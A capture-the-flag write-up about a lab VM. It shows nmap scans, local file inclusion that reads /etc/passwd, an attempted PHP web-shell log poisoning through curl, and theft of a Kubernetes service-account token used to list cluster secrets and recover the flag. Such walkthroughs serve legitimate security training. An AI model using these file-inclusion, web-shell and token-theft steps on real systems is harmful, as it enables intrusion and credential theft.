Looking for the next holiday destination? Look no further than the Islands of Orchestration.
Check out the best tropical islands to visit on your next vacation!
Please allow 4 to 5 minutes for the VM to boot.
Footprinting
Open ports
Nmap scan:
kali@kali:~$ sudo nmap -sS -p- -Pn -v10 -oA syn_full 10.10.158.170
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 60
80/tcp open http syn-ack ttl 58
8443/tcp open https-alt syn-ack ttl 59
kali@kali:~$ sudo nmap -v10 -sC -sV -p22,80 -oA nse 10.10.158.170
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9f:ae:04:9e:f0:75:ed:b7:39:80:a0:d8:7f:bd:61:06 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpKksU81PRNTKP1wxKXB9jq0Yk6id6JCuj4gYTAPk932sjBdUV4OhoMBP1m2cITHGWBWiE02KzRSkgL9X0FZL6CJRxo09N2uHXp6XT5+V+VMf1/5B1xgETNdpqgltDpqYudiKpNQzRpkvvtvCntDr+R0/4LWi7CsmII2wYFSnZ8/8UtueRCGue3Mn9oeUp1R+m5yODXfJHgcHmvHsdbx1JX/7dzwI8QSFNhnXcQwRFkRcNJBmYjlMq1SvqXQMzgR70dIv/9zfFIROPyjfLkeGsmLBEflsPmLo8Nt5CxQzUzx5w/PcnRsTv+X6syJXGjS6pD82hgPH/AtZGaNePAvcQjNPzYF2ZWB6WcMWJROMqeWYasava17FZOyEqteIsW0/JeXIZroSJT792OaGH/8nwqkLNmLE2Ab54GjunAeZEdb3MB2qeQ6iszeBCutm+CZr9HI4aRTgmfdCIRPuJJxqQeSCpLb0kNdvt36OFCmTpMMdaj9WSaFbl7Ywvd0WIVn0=
| 256 cf:cb:89:62:99:11:d7:ca:cd:5b:57:78:10:d0:6c:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDJH2hRXWCeM4AC7WvCY/PpWUXdSiNB+E05tW7LGCL0R6WTJLTCKpmKMWdaf3PbDMgPJlR9GzaPhOvUBFZ0uI8U=
| 256 5f:11:10:0d:7c:80:a3:fc:d1:d5:43:4e:49:f9:c8:d2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPvap+hnXqIVCd8pv3lHrx6kbI2FqAazMvM3mjg2uiE4
80/tcp open http syn-ack ttl 58 Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Best tropical islands
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
8443/tcp open ssl/https-alt syn-ack ttl 59
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: aa05350c-1242-4ede-9fd1-cc21614d241c
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
| X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
| Date: Sat, 25 Jun 2022 13:40:30 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: e9c5d6f6-8de6-408b-a6b6-23bb23505002
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
| X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
| Date: Sat, 25 Jun 2022 13:40:27 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: 167dd9a9-2f0b-43d5-a511-49292ae5a324
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
| X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
| Date: Sat, 25 Jun 2022 13:40:28 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:192.168.49.2, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-01-05T23:39:08
| Not valid after: 2025-01-05T23:39:08
| MD5: 6c2d 583d a93a c670 295b 25d1 c210 72f9
| SHA-1: 795d 7485 acbd c4c8 05e7 094e 029f 27fd 4493 3570
| -----BEGIN CERTIFICATE-----
| MIID3DCCAsSgAwIBAgIBAjANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
[...]
| kn7y+oLMzQg3jtEK14pJwyX4EVV9o7t047sDKFisyrY=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
HTTP
The main web page contains links to the top 5 islands, for example:
>>>
GET /?page=fiji.php HTTP/1.1
Host: 10.10.158.170
<<<
Fiji
Though this country has some 322 islands, less than a third are inhabited. Most of the action happens in the western islands, but no matter where you go, this is heaven.
Any time the name Fiji is heard, visions of beaches and tropical ocean dance in people’s head. There’s a good reason for that — because this place is one of the most incredible destinations in the world, and with so many islands to offer, you’re bound to find one you like.
It’s a popular destination with young people and honeymooners, with something for everyone on offer — diving, sailing, snorkeling, whale watching, peaceful luxury, and much more!
Local File Inclusion
We see the page
GET parameter is a link to a PHP page. Therefore, this input might be vulnerable to LFI, which allows attackers to read arbitrary files in the server's filesystem:
>>>
GET /?page=/etc/passwd HTTP/1.1
Host: 10.10.158.170
<<<
root:x:0:0:root:/root:/bin/bash
[...]
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
LFI to RCE (rabbit holes)
A common way to get remote code execution from an RCE is to read injected PHP logs in a logged parameter (e.g. URL, User-Agent):
kali@kali:~$ curl -A '<?php system($_request["c"])?>' 'http://10.10.158.170?page=/var/log/apache2/access.log&c=id'
[EMPTY]
However, the default Apache log file doesn't exist :/
>>>
GET /?page=/var/log/apache2/access.log HTTP/1.1
Host: 10.10.158.170
<<<
Sorry, <code>/var/log/apache2/access.log</code> does not exist.
Note this error message is actually true, as
/var/apache2
exists, and/var/apache1337
doesn't:
>>>
GET /?page=/var/log/apache2/ HTTP/1.1
Host: 10.10.158.170
<<<
[Empty]
>>>
GET /?page=/var/log/apache1337/ HTTP/1.1
Host: 10.10.158.170
<<<
Sorry, <code>/var/log/apache1337/</code> does not exist.
In the Apache's configurations, only the error logs are set:
>>>
GET /?page=/etc/apache2/apache2.conf HTTP/1.1
Host: 10.10.158.170
<<<
ErrorLog ${APACHE_LOG_DIR}/error.log
>>>
GET /?page=/etc/apache2/envvars HTTP/1.1
Host: 10.10.158.170
<<<
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
Finally, I used LFISuite
to automatically look for sensitive files:
kali@kali:~$ git clone https://github.com/D35m0nd142/LFISuite
kali@kali:~$ python2.7 ./LFISuite/lfisuite.py
--------------------
1) Exploiter
2) Scanner
x) Exit
--------------------
-> 2
[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->
[?] Do you want to enable TOR proxy ? (y/n) n
[*] Enter the name of the file containing the paths to test [default: 'pathtotest.txt'] -> pathtotest.txt
[*] Enter the URL to scan (ex: 'http://site/vuln.php?id=') -> http://10.10.158.170/?page=
But only 2 files were disclosed:
http://10.10.158.170/?page=/etc/passwd
http://10.10.158.170/?page=/etc/group
Therefore, let's see what's on port 8443.
Anonymous Kubernetes
The 8443 port is not accessible for anonymous users:
>>>
GET / HTTP/1.1
Host: 10.10.207.246:8443
<<<
HTTP/2 403 Forbidden
Audit-Id: 5c12690e-865f-44da-b9cb-12854f381d38
Cache-Control: no-cache, private
Content-Type: application/json
X-Content-Type-Options: nosniff
X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
Content-Length: 233
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
"reason": "Forbidden",
"details": {
},
"code": 403
}
The response disclosed the X-Kubernetes-Pf-Flowschema-Uid
and X-Kubernetes-Pf-Prioritylevel-Uid
headers. Then, the server is serving a Kubernetes API:
Kubernetes is an open source container orchestration engine for automating deployment, scaling, and management of containerized applications. The open source project is hosted by the Cloud Native Computing Foundation (CNCF).
As the documentation says, our request above is forbidden because providing no Bearer
token means we are requesting the API as an anonymous user:
A request providing no bearer token would be treated as an anonymous request.
Also, setting an invalid JWT is unauthorized:
On a server with token authentication configured, and anonymous access enabled, a request providing an invalid bearer token would receive a 401 Unauthorized error.
>>>
GET / HTTP/2
Host: 10.10.158.170:8443
Authorization: Bearer foobar
<<<
HTTP/2 401 Unauthorized
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "Unauthorized",
"reason": "Unauthorized",
"code": 401
}
Then, I tried to impersonate an arbitrary user, e.g. admin
:
>>>
GET / HTTP/2
Host: 10.10.158.170:8443
Impersonate-User: admin
<<<
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "users \"admin\" is forbidden: User \"system:anonymous\" cannot impersonate resource \"users\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"name": "admin",
"kind": "users"
},
"code": 403
}
However, anonymous users cannot impersonate users :/
.
LFI + JWT = secrets
More hacking methodologies are shared in PayloadAllTheThings. In particular, it is possible to exploit LFI to steal a user's token:
>>>
GET /?page=/var/run/secrets/kubernetes.io/serviceaccount/token HTTP/1.1
Host: 10.10.158.170
<<<
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg3OTQ5NjI2LCJpYXQiOjE2NTY0MTM2MjYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJpc2xhbmRzLTc2NTViNzc0OWYtenZxNTIiLCJ1aWQiOiJiMzEwNjkyMS00OTBhLTQ3NjctOGQ1OS03MmY2NjkxYmY5YzAifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImlzbGFuZHMiLCJ1aWQiOiI5OTIzOTA1OS00ZjZjLTQwNmItODI5NC01YTU1ZmJjMTQzYjAifSwid2FybmFmdGVyIjoxNjU2NDE3MjMzfSwibmJmIjoxNjU2NDEzNjI2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDppc2xhbmRzIn0.m1[...]VQ
Even if we cannot impersonate a privileged account with that token:
>>>
GET /api/v1/namespaces/kube-system/secrets/ HTTP/2
Host: 10.10.158.170:8443
Accept: application/json
Impersonate-User: null
Impersonate-Group: system:masters
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg3OTQ5NjI2LCJpYXQiOjE2NTY0MTM2MjYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJpc2xhbmRzLTc2NTViNzc0OWYtenZxNTIiLCJ1aWQiOiJiMzEwNjkyMS00OTBhLTQ3NjctOGQ1OS03MmY2NjkxYmY5YzAifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImlzbGFuZHMiLCJ1aWQiOiI5OTIzOTA1OS00ZjZjLTQwNmItODI5NC01YTU1ZmJjMTQzYjAifSwid2FybmFmdGVyIjoxNjU2NDE3MjMzfSwibmJmIjoxNjU2NDEzNjI2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDppc2xhbmRzIn0.m1[...]VQ
<<<
"message": "users \"null\" is forbidden: User \"system:serviceaccount:default:islands\" cannot impersonate resource \"users\" in API group \"\" at the cluster scope",
We may read Kubernetes's secrets in the default namespace:
>>>
GET /api/v1/namespaces/default/secrets/ HTTP/2
Host: 10.10.158.170:8443
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg3OTQ5NjI2LCJpYXQiOjE2NTY0MTM2MjYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJpc2xhbmRzLTc2NTViNzc0OWYtenZxNTIiLCJ1aWQiOiJiMzEwNjkyMS00OTBhLTQ3NjctOGQ1OS03MmY2NjkxYmY5YzAifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImlzbGFuZHMiLCJ1aWQiOiI5OTIzOTA1OS00ZjZjLTQwNmItODI5NC01YTU1ZmJjMTQzYjAifSwid2FybmFmdGVyIjoxNjU2NDE3MjMzfSwibmJmIjoxNjU2NDEzNjI2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDppc2xhbmRzIn0.m1[...]VQ
<<<
[...]
"data": {
"flag": "Zm[...]X0="
}<<<
[...]
Finally, the Base64-decoded flag in CyberChef is flag{08[...]41}